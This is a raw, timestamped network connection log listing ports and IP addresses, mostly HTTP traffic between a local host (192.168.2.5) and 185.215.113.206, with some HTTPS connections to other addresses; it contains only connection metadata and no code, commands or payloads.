Nov 16, 2024 23:36:40.529268980 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529293060 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529295921 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529309034 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529320002 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529329062 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529334068 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529344082 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529350042 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529360056 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529366016 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529370070 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529395103 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529407024 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529483080 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529500008 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529510021 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529520035 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529531002 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529532909 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529551983 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529566050 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529602051 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529619932 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529628992 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529640913 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529649973 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529664993 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529710054 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529721022 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529740095 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529750109 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529752970 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529755116 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529767036 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529777050 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529777050 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529787064 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529789925 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529798031 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529819965 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529838085 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529843092 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529849052 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529858112 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529876947 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529882908 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529885054 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529894114 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529917002 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529968023 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529978037 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529989004 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529999971 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530013084 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530021906 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530046940 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530057907 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530069113 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530080080 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530107975 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530108929 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530121088 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530139923 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530139923 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530174017 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530190945 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530206919 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530230999 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530234098 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530242920 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530247927 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530255079 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530263901 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530266047 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530288935 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530307055 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530311108 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530317068 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530327082 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530349970 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530371904 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530375957 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530385971 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530421019 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530462027 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530472040 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530483007 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530493021 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530504942 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530528069 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530539036 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530550003 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530581951 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530647993 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530658007 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530668020 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530678034 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530689955 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530694962 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530721903 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530730963 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530770063 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530780077 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530788898 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.530811071 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.530836105 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.532170057 CET	49924	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.532181025 CET	443	49924	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.532619953 CET	49924	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.532624960 CET	443	49924	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.557106018 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557117939 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557127953 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557162046 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.557199001 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.557357073 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557367086 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557382107 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557394981 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557404995 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557404995 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.557420015 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.557429075 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557439089 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557445049 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.557487011 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.557499886 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557512045 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557519913 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557540894 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.557574034 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.557610989 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557621002 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557637930 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557647943 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557650089 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.557657957 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557666063 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.557667017 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557704926 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.557708979 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557719946 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557732105 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557750940 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.557768106 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.557796955 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557806969 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557816982 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557832956 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.557857037 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.557934046 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557944059 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557954073 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.557982922 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.557992935 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.558003902 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.558010101 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.558013916 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.558043003 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.558062077 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.558082104 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.558094978 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.558104992 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.558139086 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.558223963 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.558233976 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.558244944 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.558255911 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.558274984 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.558306932 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.558691978 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.558731079 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.581815958 CET	443	49925	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.591936111 CET	49928	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:40.591974020 CET	443	49928	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:40.592032909 CET	49928	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:40.595259905 CET	49929	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:40.595324993 CET	443	49929	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:40.595380068 CET	49929	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:40.602319956 CET	49930	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:40.602349043 CET	443	49930	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:40.602411985 CET	49930	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:40.604146957 CET	49928	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:40.604157925 CET	443	49928	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:40.605257034 CET	49929	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:40.605292082 CET	443	49929	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:40.610901117 CET	49930	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:40.610913992 CET	443	49930	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:40.614265919 CET	443	49923	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.622406960 CET	49925	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.628056049 CET	49925	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.628056049 CET	49925	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.628072023 CET	443	49925	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.628093958 CET	443	49925	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.664755106 CET	49923	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.664763927 CET	443	49923	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.674062967 CET	49923	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.674062967 CET	49923	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.674079895 CET	443	49923	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.674304008 CET	443	49923	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.674341917 CET	443	49923	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.674475908 CET	49923	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.680845976 CET	49931	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.680893898 CET	443	49931	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.680958033 CET	49931	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.681138039 CET	49931	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.681155920 CET	443	49931	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.681663990 CET	443	49924	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.681740999 CET	443	49924	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.681792974 CET	49924	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.682423115 CET	49924	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.682435989 CET	443	49924	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.682454109 CET	49924	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.682459116 CET	443	49924	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.690080881 CET	49932	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.690099001 CET	443	49932	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.690268993 CET	49932	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.690676928 CET	49932	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.690690041 CET	443	49932	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.830967903 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.840897083 CET	443	49925	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.840975046 CET	443	49925	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.841355085 CET	49925	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.841504097 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.841850042 CET	49925	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.841850042 CET	49925	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.841871023 CET	443	49925	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.841881990 CET	443	49925	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.847012997 CET	49933	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.847084999 CET	443	49933	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.847198009 CET	49933	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.851012945 CET	49933	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.851063967 CET	443	49933	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.980246067 CET	443	49927	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.988646030 CET	49927	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.988646030 CET	49927	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.988672018 CET	443	49927	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.988693953 CET	443	49927	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:41.117844105 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.117860079 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.117953062 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.117964029 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.117975950 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.117981911 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.118038893 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.118040085 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.118418932 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.118483067 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.118494034 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.118519068 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.118519068 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.118577957 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.118592978 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.118766069 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.118779898 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.118798971 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.118809938 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.118822098 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.118824005 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.118834019 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.118843079 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.118845940 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.118858099 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.118869066 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.118880033 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.118884087 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.118884087 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.118891001 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.118911982 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.118915081 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.118931055 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.118940115 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.118943930 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.118956089 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.118967056 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.118978024 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.118978024 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.118978977 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.118990898 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119003057 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119007111 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119030952 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119049072 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119052887 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119060993 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119071960 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119085073 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119095087 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119095087 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119096994 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119108915 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119119883 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119131088 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119136095 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119143009 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119148016 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119153976 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119163036 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119168043 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119185925 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119191885 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119198084 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119208097 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119210958 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119224072 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119229078 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119240046 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119250059 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119250059 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119250059 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119261026 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119268894 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119272947 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119286060 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119292021 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119299889 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119340897 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119353056 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119363070 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119366884 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119376898 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119389057 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119389057 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119400978 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119405031 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119443893 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119457006 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119457960 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119457006 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119472027 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119479895 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119484901 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119497061 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119499922 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119508982 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119520903 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119528055 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119530916 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119543076 CET	80	49824	185.215.113.206	192.168.2.5
